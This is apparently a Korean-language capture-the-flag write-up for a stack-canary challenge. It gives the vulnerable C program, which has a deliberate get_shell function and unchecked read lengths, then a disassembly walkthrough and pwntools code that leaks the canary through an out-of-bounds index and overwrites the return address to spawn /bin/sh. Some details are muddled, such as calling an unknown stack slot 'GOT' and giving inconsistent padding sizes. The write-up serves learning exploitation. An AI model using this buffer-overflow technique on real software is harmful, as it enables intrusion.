문제 c 파일
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
get_shell 함수가 보인다. 저걸 이용해서 셸을 획득해야 한다.
main함수에는 지역변수
box,name,select,idx,name_len이 있고
while 루프가 있다.
F를 입력하면 box를 입력하고, P를 입력하면 box의 내용을 볼 수 있고 (오버플로우 발생 가능),
E를 입력하면 name의 size와 내용을 입력받는다. (오버플로우 발생 가능)
일단 get_shell함수의 주소부터 알아보면,
0x80486b9 이다. 나중에 반환 주소를 이 주소로 바꿔야 하니 알아둬야 한다.
다음은 main 함수의 스택이 어떻게 구성되는지 알아야 한다.
지역변수가 5개 있기 때문에, 그 5개의 지역변수들이 스택에 쌓일 것이다.
스택의 크기가
0x94이다. (esp - 0x94를 통해 스택 프레임 확장)main+19에서
gs:[0x14]를eax에 대입하고, 그eax를ebp-8에 대입하는데,
형태로 보아 카나리 값으로 추정된다. 이는 함수의 끝부분에 가보면 알 수 있다.main+48의
rep stosd는
rep→ ecx값 만큼 명령을 반복 (여기서는 0x10(16))
stosd-> eax에 담긴 값을 edi에 복사한다 (여기서는 ebp-0x88 지점)
이를 총 4번 반복한다. (unsigned char box[0x40])
3번을 한번 더 반복한다. (char name[0x40])
main+67에서는 ebp-0x8a 주소에 2바이트가 할당된다. (char select[2])
main+76에서는 ebp-0x94 주소에 4바이트가 할당된다. (int idx)
main+86에서는 ebp-0x90 주소에 4바이트가 할당된다. (int name_len)
대충 그려보면 이렇다.
카나리가 ebp-0x8 지점부터 4바이트를 차지하므로, canary 아래에 정체불명의 4바이트 데이터가 존재한다.
시작부터 들어있었는데, 검색해보니 GOT 라고 한다. 아직은 뭔지 잘 모르겠다.
main 함수의 while 루프에서 E를 입력하면 name을 입력할 수 있는데,
본래 name 사이즈의 크기(0x40)보다 더 크게 입력할 수 있다. (오버플로우)
name부터 해서 저 멀리에 있는 반환주소까지 우리가 원하는 데이터를 입력할 수 있다.
따라서 아무 데이터(0x80)+canary(0x4)+아무 데이터(0x8)+get_shell 주소(0x4)
를 name에 입력해주면 된다.
함수 마지막 부분에서ebp-8에서 4바이트 데이터를 가져오고,
gs:[0x14]와 비교하는 것을 볼 수 있다. 따라서ebp-8은 카나리가 확실해졌다.while 루프에서 P를 입력하면 box의 내용을 볼 수 있는데
idx를 box 범위(0x40)보다 크게 입력하면 box 너머까지도 볼 수 있다.
이를 이용해 카나리 값을 구한다.box를 0~63 이라고 하면 name은 64~127이고 canary는 128~131이다.
따라서 pwntool을 이용하여, P와 131~128까지를 전송하여 카나리 값을 가져온다.
canary=b'' for i in range(131, 127, -1): p.sendlineafter(b"> ", b'P') # P 전송 p.sendlineafter(b" : ", bytes(str(i), "utf-8")) # 인덱스 번호 전송 p.recvuntil(b" : ") canary+=p.recvn(2) # 카나리 2자리씩 가져오기 canary=int(canary, 16) # 16진수 정수로 저장
이제 canary를 알았으니 payload를 구성해 보자.
payload=b'N'*0x40 # name[0x40] payload+=p32(canary) # canary[0x4] payload+=b'G'*0x4 # GOT[0x4] payload+=b'S'*0x4 # SFP[0x4] payload+=b'\xb9\x86\x04\x08' # 반환 주소 → get_shell() [0x4]총 길이는 0x50 (80) 이다.
만든 payload를 전송하고 결과를 확인한다.
p.sendlineafter(b"> ", b'E') # E 전송 p.sendlineafter(b" : ", b"80") # 크기 80 전송 p.sendlineafter(b" : ", payload) # payload 전송 p.interactive() # 셸 획득 후 상호작용